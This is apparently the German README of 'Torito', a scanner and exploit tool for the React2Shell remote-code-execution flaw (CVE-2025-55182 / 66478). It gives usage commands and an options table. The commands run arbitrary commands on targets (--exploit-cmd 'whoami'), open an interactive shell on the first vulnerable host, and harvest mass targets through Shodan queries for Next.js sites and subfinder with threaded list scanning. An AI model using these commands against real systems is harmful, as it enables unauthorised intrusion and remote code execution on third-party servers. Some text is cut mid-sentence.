
Torito React2Shell Scanner- & Exploit-Tool (CVE-2025-55182 / 66478)
pip install -r requirements.txtPATH für --subfinder (Installation über Homebrew brew install subfinder oder Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; Projekt: https://github.com/projectdiscovery/subfinder)pip install shodan (bereits in requirements enthalten) sowie einen Schlüssel: export SHODAN_API_KEY=... mit verfügbarem Abfrageguthabenpython3 torito_r2s.py --help
Sicherer Probe-Scan (einzelnes Ziel)
python3 torito_r2s.py -u https://target.com
PoC-Bestätigung (Side-Channel-Redirect)
python3 torito_r2s.py -u https://target.com --confirm
Exploit mit benutzerdefiniertem Befehl
python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"
Interaktive Shell beim ersten Treffer
python3 torito_r2s.py -u https://target.com --shell
Listenscan mit Exporten
python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv
Nur Shodan (erfordert Schlüssel und Guthaben)
export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm
Nur Subfinder
python3 torito_r2s.py --subfinder target.com --confirm
Proxy (Burp/Caido)
python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm
Pipeline über stdin
cat urls.txt | python3 torito_r2s.py --confirm
--exploit-cmd oder --shell ausgeführt.| Option | Beschreibung | Standard |
|---|
-u, --url URL | Einzelne Ziel-URL | — |
-l, --list FILE | Datei mit Zielen (eine pro Zeile) | — |
--subfinder DOMAIN | Subfinder für die Domain ausführen und Ergebnisse hinzufügen | — |
--shodan QUERY | Shodan-Suche (erfordert SHODAN_API_KEY mit Guthaben) | — |
--shodan-limit N | Maximale Shodan-Ergebnisse pro Abfrage | 100 |
-t, --threads N | Parallelität | 20 |
--timeout SEC | Request-Timeout | 10 |
--proxy URL | HTTP/HTTPS-Proxy | — |
--confirm | Redirect-basierte PoC-Bestätigung nach dem Probe-Scan ausführen | aus |
--exploit-cmd "CMD" | RCE-Payload mit Befehl ausführen | — |
--shell, -i | Interaktive Shell beim ersten Exploit-Erfolg öffnen (Standardbefehl: id) | aus |
--json-out FILE | JSON-Ergebnisse speichern | — |
--csv-out FILE | CSV-Ergebnisse speichern | — |
-v, --verbose | Dekodierte Ausgaben/Digests in der Tabelle anzeigen | aus |